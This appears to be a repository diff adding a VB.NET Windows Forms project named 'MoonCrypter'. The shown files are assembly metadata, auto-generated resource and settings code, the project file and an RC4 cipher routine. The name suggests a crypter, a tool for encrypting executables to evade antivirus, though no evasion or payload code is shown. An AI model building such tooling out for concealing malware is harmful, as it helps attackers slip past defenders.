Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("MoonCrypter")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("t0fx")>
|
||||
<Assembly: AssemblyProduct("MoonCrypter")>
|
||||
<Assembly: AssemblyCopyright("Copyright © 2010")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("e56b6721-eea5-41c2-8f5b-6da97bbcc818")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,63 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.261
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("MoonCrypter.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.261
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.MoonCrypter.My.MySettings
|
||||
Get
|
||||
Return Global.MoonCrypter.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,123 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>9.0.30729</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>MoonCrypter.My.MyApplication</StartupObject>
|
||||
<RootNamespace>MoonCrypter</RootNamespace>
|
||||
<AssemblyName>MoonCrypter</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
<ApplicationIcon>31.ico</ApplicationIcon>
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>3.5</OldToolsVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>MoonCrypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>MoonCrypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="3des.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="rc4.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="31.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 54 KiB |
@@ -0,0 +1,53 @@
|
||||
Imports System.Text
|
||||
|
||||
Public Class rc4
|
||||
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
|
||||
Dim i As Integer = 0
|
||||
Dim j As Integer = 0
|
||||
Dim cipher As New StringBuilder
|
||||
Dim returnCipher As String = String.Empty
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
Dim intLength As Integer = password.Length
|
||||
Dim a As Integer = 0
|
||||
While a <= 255
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
sbox(a) = a
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
Dim x As Integer = 0
|
||||
Dim b As Integer = 0
|
||||
While b <= 255
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
sbox(b) = sbox(x)
|
||||
sbox(x) = tempSwap
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
Dim itmp As Integer = 0
|
||||
i = (i + 1) Mod 256
|
||||
j = (j + sbox(i)) Mod 256
|
||||
itmp = sbox(i)
|
||||
sbox(i) = sbox(j)
|
||||
sbox(j) = itmp
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
itmp = Asc(ctmp)
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
cipher.Append(Chr(cipherby))
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
End Class
|
||||
Reference in New Issue
Block a user